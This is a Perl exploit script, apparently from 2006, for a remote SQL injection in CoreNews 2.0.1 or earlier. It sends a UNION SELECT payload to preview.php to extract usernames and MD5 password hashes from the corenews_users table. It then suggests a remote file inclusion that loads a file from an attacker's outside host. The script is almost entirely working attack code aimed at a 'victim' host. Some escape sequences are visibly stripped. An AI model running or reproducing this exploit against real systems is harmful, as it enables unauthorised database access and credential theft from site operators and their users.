#!/usr/bin/perl
#Method found & Exploit scripted by nukedx
#Contacts > ICQ: 10072 MSN/Main: nukedx@nukedx.com web: www.nukedx.com
#Original advisory: http://www.nukedx.com/?viewdoc=24
#Usage: corenews.pl <host> <path>
use IO::Socket;
if(@ARGV != 2) { usage(); }
else { exploit(); }
sub header()
{
  print "n- NukedX Security Advisory Nr.2006-24rn";
  print "- CoreNews <= 2.0.1 Remote SQL Injection Exploitrn";
}
sub usage() 
{
  header();
  print "- Usage: $0 <host> <path>rn";
  print "- <host> -> Victim's host ex: www.victim.comrn";
  print "- <path> -> Path to CoreNews ex: /corenews/rn";
  exit();
}
sub exploit () 
{
  #Our variables...
  $cnserver = $ARGV[0];
  $cnserver =~ s/(http://)//eg;
  $cnhost   = "http://".$cnserver;
  $cndir    = $ARGV[1];
  $cnport   = "80";
  $cntar    = "preview.php?userid=";
  $cnxp     = "-1/**/UNION/**/SELECT/**/null,concat(2022,login,20223,password,2203),null,null,null,null/**/FROM/**/corenews_users/*";
  $cnreq    = $cnhost.$cndir.$cntar.$cnxp;
  #Sending data...
  header();
  print "- Trying to connect: $cnserverrn";
  $cn = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$cnserver", PeerPort => "$cnport") || die "- Connection failed...n";
  print $cn "GET $cnreq HTTP/1.1n";
  print $cn "Accept: */*n";
  print $cn "Referer: $cnhostn";
  print $cn "Accept-Language: trn";
  print $cn "User-Agent: NukeZillan";
  print $cn "Cache-Control: no-cachen";
  print $cn "Host: $cnservern";
  print $cn "Connection: closenn";
  print "- Connected...rn";
  while ($answer = <$cn>) {
    if ($answer =~ /2022(.*?)20223([d,a-f]{32})2203/) {
      print "- Exploit succeed!rn";
      print "- Username: $1rn";
      print "- MD5 HASH of PASSWORD: $2rn";
      print "- If you crack hash you can use RFI with example ->rn";
      print "- Example: $cnhost$cndir?show=http://yourhost.com/file.txtrn"; 
      exit();
    }
  }
  #Exploit failed...
  print "- Exploit failedn"
}

# nukedx.com [2006-04-21]

# www.Syue.com [2006-04-21]